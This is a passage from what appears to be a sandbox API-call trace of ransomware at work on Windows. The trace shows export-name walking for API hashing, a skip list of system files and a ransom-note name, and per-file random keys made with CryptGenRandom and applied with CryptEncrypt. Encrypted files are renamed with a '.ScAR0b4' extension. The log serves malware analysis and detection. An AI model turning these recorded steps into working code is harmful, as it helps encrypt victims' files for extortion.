lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0122.436] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0122.436] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0122.436] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0122.437] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0122.437] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0122.437] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0122.437] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0122.437] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0122.437] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0122.437] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0122.437] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0122.437] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0122.437] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0122.437] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0122.437] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0122.437] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0122.437] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0122.437] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0122.437] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0122.437] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0122.437] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0122.437] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0122.437] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0122.437] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0122.437] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0122.437] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0122.437] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0122.437] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0122.437] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0122.437] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0122.437] lstrlenA (lpString="CREATETHREAD") returned 12 [0122.437] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0122.437] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0122.437] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0122.437] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0122.438] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0122.438] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0122.438] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0122.438] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0122.438] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0122.438] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0122.438] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0122.438] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0122.438] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0122.438] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0122.438] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0122.440] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.ScAR0b4") returned 52 [0122.440] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.ScAR0b4" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.scar0b4"), dwFlags=0x0) returned 1 [0122.440] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.441] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.441] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.441] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0122.441] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0122.441] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0122.441] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0122.441] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0122.441] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0122.441] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0122.441] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0122.441] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0122.441] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0122.441] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0122.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\") returned 27 [0122.441] lstrlenW (lpString="SetupResources.dll") returned 18 [0122.441] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1036\\" | out: lpString1="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\" [0122.442] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1036\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" [0122.442] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0122.442] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0122.442] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=18776) returned 1 [0122.442] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0122.442] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0122.641] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0122.641] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0122.641] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0122.641] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0122.642] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0122.642] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.643] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0122.643] CloseHandle (hObject=0x5f8) returned 1 [0122.643] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.643] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0122.644] CloseHandle (hObject=0x0) returned 0 [0122.644] CloseHandle (hObject=0x5f4) returned 1 [0122.645] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.646] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.646] GetTickCount () returned 0x34140 [0122.646] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0122.646] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0122.646] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0122.647] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0122.647] lstrlenA (lpString="kernel32.dll") returned 12 [0122.647] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0122.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0122.647] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0122.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0122.647] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0122.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0122.647] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0122.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0122.647] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0122.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0122.647] lstrlenA (lpString="ADDATOMA") returned 8 [0122.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0122.647] lstrlenA (lpString="ADDATOMW") returned 8 [0122.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0122.647] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0122.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0122.648] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0122.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0122.648] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0122.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0122.648] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0122.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0122.648] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0122.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0122.648] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0122.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0122.648] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0122.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0122.648] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0122.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0122.648] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0122.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0122.648] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0122.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0122.648] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0122.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0122.648] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0122.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0122.648] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0122.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0122.648] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0122.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0122.648] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0122.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0122.648] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0122.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0122.648] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0122.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0122.648] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0122.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0122.649] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0122.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0122.649] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0122.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0122.649] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0122.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0122.649] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0122.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0122.649] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0122.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0122.649] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0122.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0122.649] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0122.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0122.649] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0122.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0122.649] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0122.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0122.649] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0122.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0122.649] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0122.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0122.649] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0122.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0122.649] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0122.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0122.649] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0122.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0122.649] lstrlenA (lpString="BACKUPREAD") returned 10 [0122.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0122.649] lstrlenA (lpString="BACKUPSEEK") returned 10 [0122.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0122.650] lstrlenA (lpString="BACKUPWRITE") returned 11 [0122.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0122.650] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0122.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0122.650] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0122.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0122.650] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0122.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0122.650] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0122.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0122.650] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0122.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0122.650] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0122.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0122.650] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0122.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0122.650] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0122.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0122.650] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0122.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0122.650] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0122.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0122.650] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0122.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0122.650] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0122.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0122.650] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0122.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0122.650] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0122.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0122.650] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0122.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0122.650] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0122.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0122.651] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0122.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0122.651] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0122.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0122.651] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0122.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0122.651] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0122.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0122.651] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0122.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0122.651] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0122.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0122.651] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0122.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0122.651] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0122.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0122.651] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0122.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0122.651] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0122.651] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: 